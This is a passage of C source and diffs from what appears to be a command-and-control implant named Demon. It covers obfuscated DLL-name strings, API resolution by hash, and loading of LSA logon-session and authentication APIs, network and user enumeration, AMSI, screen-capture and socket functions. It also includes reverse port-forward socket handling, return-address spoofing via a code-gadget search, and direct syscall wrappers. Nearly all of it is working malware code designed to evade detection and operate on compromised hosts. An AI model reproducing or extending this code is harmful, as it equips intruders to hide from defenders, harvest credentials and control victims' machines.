PUTS( "Loaded User32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load User32" )
return FALSE;
}
return TRUE;
}
BOOL RtShell32(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('S');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 6 ] = HideChar('2');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 4 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('H');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('3');
ModuleName[ 3 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('E');
if ( ( Instance->Modules.Shell32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.CommandLineToArgvW = LdrFunctionAddr( Instance->Modules.Shell32, H_FUNC_COMMANDLINETOARGVW );
PUTS( "Loaded Shell32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Shell32" )
return FALSE;
}
return TRUE;
}
BOOL RtMsvcrt(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 0 ] = HideChar('M');
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('R');
ModuleName[ 2 ] = HideChar('V');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
ModuleName[ 3 ] = HideChar('C');
ModuleName[ 5 ] = HideChar('T');
ModuleName[ 1 ] = HideChar('S');
if ( ( Instance->Modules.Msvcrt = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.vsnprintf = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_VSNPRINTF );
Instance->Win32.swprintf_s = LdrFunctionAddr( Instance->Modules.Msvcrt, H_FUNC_SWPRINTF_S );
PUTS( "Loaded Msvcrt functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Msvcrt" )
return FALSE;
}
return TRUE;
}
BOOL RtIphlpapi(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 0 ] = HideChar('I');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('H');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 6 ] = HideChar('P');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('P');
ModuleName[ 3 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 5 ] = HideChar('A');
ModuleName[ 4 ] = HideChar('P');
ModuleName[ 7 ] = HideChar('I');
if ( ( Instance->Modules.Iphlpapi = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.GetAdaptersInfo = LdrFunctionAddr( Instance->Modules.Iphlpapi, H_FUNC_GETADAPTERSINFO );
PUTS( "Loaded Iphlpapi functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Iphlpapi" )
return FALSE;
}
return TRUE;
}
BOOL RtGdi32(
VOID
) {
CHAR ModuleName[ 10 ] = { 0 };
ModuleName[ 4 ] = HideChar('2');
ModuleName[ 6 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('.');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('I');
ModuleName[ 1 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('L');
ModuleName[ 9 ] = HideChar(0);
ModuleName[ 0 ] = HideChar('G');
ModuleName[ 3 ] = HideChar('3');
if ( ( Instance->Modules.Gdi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.GetCurrentObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETCURRENTOBJECT );
Instance->Win32.GetObjectW = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_GETOBJECTW );
Instance->Win32.CreateCompatibleDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATECOMPATIBLEDC );
Instance->Win32.CreateDIBSection = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_CREATEDIBSECTION );
Instance->Win32.SelectObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_SELECTOBJECT );
Instance->Win32.BitBlt = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_BITBLT );
Instance->Win32.DeleteObject = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEOBJECT );
Instance->Win32.DeleteDC = LdrFunctionAddr( Instance->Modules.Gdi32, H_FUNC_DELETEDC );
PUTS( "Loaded Gdi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Gdi32" )
return FALSE;
}
return TRUE;
}
BOOL RtNetApi32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 0 ] = HideChar('N');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 2 ] = HideChar('T');
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 4 ] = HideChar('P');
ModuleName[ 5 ] = HideChar('I');
ModuleName[ 1 ] = HideChar('E');
ModuleName[ 7 ] = HideChar('2');
if ( ( Instance->Modules.NetApi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.NetLocalGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETLOCALGROUPENUM );
Instance->Win32.NetGroupEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETGROUPENUM );
Instance->Win32.NetUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETUSERENUM );
Instance->Win32.NetWkstaUserEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETWKSTAUSERENUM );
Instance->Win32.NetSessionEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSESSIONENUM );
Instance->Win32.NetShareEnum = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETSHAREENUM );
Instance->Win32.NetApiBufferFree = LdrFunctionAddr( Instance->Modules.NetApi32, H_FUNC_NETAPIBUFFERFREE );
PUTS( "Loaded NetApi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load NetApi32" )
return FALSE;
}
return TRUE;
}
BOOL RtWs2_32(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 0 ] = HideChar('W');
ModuleName[ 2 ] = HideChar('2');
ModuleName[ 4 ] = HideChar('3');
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 3 ] = HideChar('_');
ModuleName[ 5 ] = HideChar('2');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
if ( ( Instance->Modules.Ws2_32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.WSAStartup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP );
Instance->Win32.WSACleanup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP );
Instance->Win32.WSASocketA = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA );
Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR );
Instance->Win32.ioctlsocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET );
Instance->Win32.bind = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND );
Instance->Win32.listen = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN );
Instance->Win32.accept = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT );
Instance->Win32.closesocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET );
Instance->Win32.recv = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV );
Instance->Win32.send = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND );
Instance->Win32.connect = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT );
Instance->Win32.getaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO );
Instance->Win32.freeaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO );
PUTS( "Loaded Ws2_32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Ws2_32" )
return FALSE;
}
return TRUE;
}
BOOL RtSspicli(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('S');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 6 ] = HideChar('I');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 5 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 2 ] = HideChar('P');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('C');
ModuleName[ 3 ] = HideChar('I');
if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS );
Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE );
Instance->Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS );
Instance->Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED );
Instance->Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER );
Instance->Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE );
Instance->Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA );
Instance->Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS );
PUTS( "Loaded Sspicli functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Sspicli" )
return FALSE;
}
return TRUE;
}
BOOL RtAmsi(
VOID
) {
CHAR ModuleName[ 9 ] = { 0 };
ModuleName[ 3 ] = HideChar('I');
ModuleName[ 5 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('L');
ModuleName[ 8 ] = HideChar(0);
ModuleName[ 6 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('.');
ModuleName[ 0 ] = HideChar('A');
ModuleName[ 1 ] = HideChar('M');
ModuleName[ 2 ] = HideChar('S');
if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER );
PUTS( "Loaded Amsi functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Amsi" )
return FALSE;
}
return TRUE;
}
#ifdef TRANSPORT_HTTP
BOOL RtWinHttp(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
ModuleName[ 0 ] = HideChar('W');
ModuleName[ 2 ] = HideChar('N');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 4 ] = HideChar('T');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 1 ] = HideChar('I');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 6 ] = HideChar('P');
ModuleName[ 3 ] = HideChar('H');
ModuleName[ 5 ] = HideChar('T');
if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.WinHttpOpen = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN );
Instance->Win32.WinHttpConnect = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT );
Instance->Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST );
Instance->Win32.WinHttpSetOption = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION );
Instance->Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE );
Instance->Win32.WinHttpSendRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST );
Instance->Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS );
Instance->Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE );
Instance->Win32.WinHttpReadData = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA );
Instance->Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS );
Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER );
Instance->Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL );
PUTS( "Loaded WinHttp functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load WinHttp" )
return FALSE;
}
return TRUE;
}
#endif
@@ -1,6 +1,6 @@
#include <Demon.h>
#include <Core/MiniStd.h>
#include <core/MiniStd.h>
/* attempt to receive all the requested data from the socket
* Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */
@@ -12,7 +12,7 @@ BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead )
while ( tret < Length )
{
nret = Instance.Win32.recv( Socket, Start, Length - tret, 0 );
nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 );
if ( nret == SOCKET_ERROR )
{
@@ -36,20 +36,20 @@ BOOL InitWSA( VOID )
DWORD Result = 0;
/* Init Windows Socket. */
if ( Instance.WSAWasInitialised == FALSE )
if ( Instance->WSAWasInitialised == FALSE )
{
PUTS( "Init Windows Socket..." )
if ( ( Result = Instance.Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 )
if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 )
{
PRINTF( "WSAStartup Failed: %d\n", Result )
/* cleanup and be gone. */
Instance.Win32.WSACleanup();
Instance->Win32.WSACleanup();
return FALSE;
}
Instance.WSAWasInitialised = TRUE;
Instance->WSAWasInitialised = TRUE;
}
return TRUE;
@@ -75,7 +75,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
if ( UseIpv4 )
{
WinSock = Instance.Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL );
WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL );
if ( WinSock == INVALID_SOCKET )
{
PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() )
@@ -97,7 +97,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
}
else
{
WinSock = Instance.Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
if ( WinSock == INVALID_SOCKET )
{
PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() )
@@ -123,7 +123,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
if ( UseIpv4 )
{
/* connect to host:port */
if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
{
PRINTF( "connect failed: %d\n", NtGetLastError() )
goto CLEANUP;
@@ -132,7 +132,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
else
{
/* connect to host:port */
if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR )
if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR )
{
PRINTF( "connect failed: %d\n", NtGetLastError() )
goto CLEANUP;
@@ -140,7 +140,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
}
/* set socket to non blocking */
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
{
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
goto CLEANUP;
@@ -153,21 +153,21 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
// SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4
/* set socket to non blocking */
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
{
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
goto CLEANUP;
}
/* bind the socket */
if ( Instance.Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
{
PRINTF( "bind failed: %d\n", NtGetLastError() )
goto CLEANUP;
}
/* now listen... */
if ( Instance.Win32.listen( WinSock, 1 ) == SOCKET_ERROR )
if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR )
{
PRINTF( "listen failed: %d\n", NtGetLastError() )
goto CLEANUP;
@@ -178,7 +178,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
}
/* Allocate our Socket object */
Socket = NtHeapAlloc( sizeof( SOCKET_DATA ) );
Socket = MmHeapAlloc( sizeof( SOCKET_DATA ) );
Socket->ID = RandomNumber32();
Socket->ParentID = ParentID;
Socket->Type = Type;
@@ -189,9 +189,9 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
Socket->FwdAddr = FwdAddr;
Socket->FwdPort = FwdPort;
Socket->Socket = WinSock;
Socket->Next = Instance.Sockets;
Socket->Next = Instance->Sockets;
Instance.Sockets = Socket;
Instance->Sockets = Socket;
PRINTF( "SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\n", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort )
@@ -202,7 +202,7 @@ CLEANUP:
{
// close the socket preserving the last error code
ErrorCode = NtGetLastError();
Instance.Win32.closesocket( WinSock );
Instance->Win32.closesocket( WinSock );
NtSetLastError(ErrorCode);
}
@@ -218,7 +218,7 @@ VOID SocketClients()
SOCKET WinSock = 0;
u_long IoBlock = 1;
Socket = Instance.Sockets;
Socket = Instance->Sockets;
/* First lets check for new clients */
for ( ;; )
@@ -235,11 +235,11 @@ VOID SocketClients()
if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD )
{
/* accept connection */
WinSock = Instance.Win32.accept( Socket->Socket, NULL, NULL );
WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL );
if ( WinSock != INVALID_SOCKET )
{
/* set socket to non blocking */
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR )
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR )
{
/* Add the client to the socket linked list so we can read from it later on */
Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID );
@@ -268,7 +268,7 @@ VOID SocketClients()
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
/* close socket. */
Instance.Win32.closesocket( WinSock );
Instance->Win32.closesocket( WinSock );
}
}
}
@@ -288,7 +288,7 @@ VOID SocketRead()
BOOL Failed = FALSE;
DWORD ErrorCode = 0;
Socket = Instance.Sockets;
Socket = Instance->Sockets;
/* First lets check for new clients */
for ( ;; )
@@ -320,7 +320,7 @@ VOID SocketRead()
* this might not be the same as the total amount of data queued on the socket.
* because of this, we read for new data in a loop
*/
if ( Instance.Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR )
if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR )
{
PRINTF( "Failed to get the read size from %x : %d\n", Socket->ID, Socket->Type )
@@ -328,16 +328,16 @@ VOID SocketRead()
Socket->ShouldRemove = TRUE;
Failed = TRUE;
ErrorCode = Instance.Win32.WSAGetLastError();
ErrorCode = Instance->Win32.WSAGetLastError();
}
if ( PartialData.Length > 0 )
{
PartialData.Buffer = NtHeapAlloc( PartialData.Length );
PartialData.Buffer = MmHeapAlloc( PartialData.Length );
if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) {
Failed = TRUE;
ErrorCode = Instance.Win32.WSAGetLastError();
ErrorCode = Instance->Win32.WSAGetLastError();
}
if ( PartialData.Length > 0 )
@@ -351,12 +351,12 @@ VOID SocketRead()
else
{
// allocate a new buffer to store the old and new data
NewBuffer = NtHeapAlloc( FullData.Length + PartialData.Length );
NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length );
// copy the old data into the new buffer
MemCopy( NewBuffer, FullData.Buffer, FullData.Length );
// free the old 'FullData' buffer
MemSet( FullData.Buffer, 0, FullData.Length );
NtHeapFree( FullData.Buffer );
MmHeapFree( FullData.Buffer );
// set the new buffer into 'FullData'
FullData.Buffer = NewBuffer;
NewBuffer = NULL;
@@ -365,7 +365,7 @@ VOID SocketRead()
FullData.Length += PartialData.Length;
// free the new data
MemSet( PartialData.Buffer, 0, PartialData.Length );
NtHeapFree( PartialData.Buffer );
MmHeapFree( PartialData.Buffer );
PartialData.Buffer = NULL;
}
}
@@ -412,7 +412,7 @@ VOID SocketRead()
{
/* free and clear out our buffer */
MemSet( FullData.Buffer, 0, FullData.Length );
NtHeapFree( FullData.Buffer );
MmHeapFree( FullData.Buffer );
FullData.Length = 0;
FullData.Buffer = NULL;
}
@@ -470,12 +470,12 @@ VOID SocketFree( PSOCKET_DATA Socket )
if ( Socket->Socket )
{
Instance.Win32.closesocket( Socket->Socket );
Instance->Win32.closesocket( Socket->Socket );
Socket->Socket = 0;
}
MemSet( Socket, 0, sizeof( SOCKET_DATA ) );
NtHeapFree( Socket )
MmHeapFree( Socket );
Socket = NULL;
}
@@ -489,7 +489,7 @@ VOID SocketCleanDead()
* make that after the socket got used close it.
* maybe add a timeout ? after the socket didn't got used after a certain period of time.
*/
Socket = Instance.Sockets;
Socket = Instance->Sockets;
for ( ;; )
{
if ( ! Socket )
@@ -500,9 +500,9 @@ VOID SocketCleanDead()
/* we are at the beginning. */
if ( ! SkLast )
{
Instance.Sockets = Socket->Next;
Instance->Sockets = Socket->Next;
SocketFree( Socket );
Socket = Instance.Sockets;
Socket = Instance->Sockets;
}
else
{
@@ -550,7 +550,7 @@ DWORD DnsQueryIPv4( LPSTR Domain )
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res );
Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );
if ( Ret != 0 )
{
PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain );
@@ -559,7 +559,7 @@ DWORD DnsQueryIPv4( LPSTR Domain )
IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr;
Instance.Win32.freeaddrinfo( res );
Instance->Win32.freeaddrinfo( res );
PRINTF( "Got IPv4 for %s: %d.%d.%d.%d\n",
Domain,
@@ -591,7 +591,7 @@ PBYTE DnsQueryIPv6( LPSTR Domain )
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res );
Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );
if ( Ret != 0 )
{
PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain );
@@ -599,11 +599,11 @@ PBYTE DnsQueryIPv6( LPSTR Domain )
}
// the caller is responsible for freeing this!
IPv6 = Instance.Win32.LocalAlloc( LPTR, 16 );
IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 );
MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 );
Instance.Win32.freeaddrinfo( res );
Instance->Win32.freeaddrinfo( res );
PRINTF( "Got IPv6 for %s: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n",
Domain,
+43
View File
@@ -0,0 +1,43 @@
#include <core/Spoof.h>
#include <core/MiniStd.h>
#if _WIN64
PVOID SpoofRetAddr(
_In_ PVOID Module,
_In_ ULONG Size,
_In_ HANDLE Function,
_Inout_ PVOID a,
_Inout_ PVOID b,
_Inout_ PVOID c,
_Inout_ PVOID d,
_Inout_ PVOID e,
_Inout_ PVOID f,
_Inout_ PVOID g,
_Inout_ PVOID h
) {
PVOID Trampoline = { 0 };
BYTE Pattern[] = { 0xFF, 0x23 };
PRM Param = { NULL, NULL, NULL };
if ( Function != NULL ) {
Trampoline = MmGadgetFind(
C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ),
U_PTR( Size ),
Pattern,
sizeof( Pattern )
);
/* set params */
Param.Trampoline = Trampoline;
Param.Function = Function;
if ( Trampoline != NULL ) {
return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h );
}
}
return NULL;
}
#endif
@@ -1,7 +1,7 @@
#include <Demon.h>
#include <Core/Syscalls.h>
#include <Core/SysNative.h>
#include <core/Syscalls.h>
#include <core/SysNative.h>
NTSTATUS NTAPI SysNtOpenThread(
OUT PHANDLE ThreadHandle,
@@ -192,7 +192,7 @@ NTSTATUS NTAPI SysNtDuplicateObject(
NTSTATUS NTAPI SysNtGetContextThread (
IN HANDLE ThreadHandle,
IN OUT PCONTEXT ThreadContext
_Inout_ PCONTEXT ThreadContext
) {
NTSTATUS NtStatus = STATUS_SUCCESS;
SYS_CONFIG SysConfig = { 0 };
@@ -258,9 +258,9 @@ NTSTATUS NTAPI SysNtWaitForSingleObject(
NTSTATUS NTAPI SysNtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
_Inout_ PVOID* BaseAddress,
IN ULONG_PTR ZeroBits,
IN OUT PSIZE_T RegionSize,
_Inout_ PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
) {
@@ -289,8 +289,8 @@ NTSTATUS NTAPI SysNtWriteVirtualMemory(
NTSTATUS NTAPI SysNtFreeVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
_Inout_ PVOID* BaseAddress,
_Inout_ PSIZE_T RegionSize,
IN ULONG FreeType
) {
NTSTATUS NtStatus = STATUS_SUCCESS;
@@ -315,8 +315,8 @@ NTSTATUS NTAPI SysNtUnmapViewOfSection(
